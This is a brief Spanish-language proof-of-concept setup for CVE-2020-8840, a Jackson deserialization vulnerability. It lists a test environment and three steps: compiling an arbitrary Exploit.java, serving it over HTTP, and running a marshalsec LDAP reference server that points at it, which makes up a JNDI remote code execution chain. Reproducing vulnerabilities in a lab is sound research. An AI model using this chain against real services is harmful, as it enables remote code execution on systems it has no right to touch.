CVE-2020-8840

Entorno

jdk 8u161
windows10 1903

Procedimiento

1.Crea un archivo java llamado Exploit.java con el código que quieras ejecutar y compílalo
2.Crea un servidor http usando python u otras herramientas en el mismo directorio del archivo de clase
3.Crea un servidor ldap usando marshalsec: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit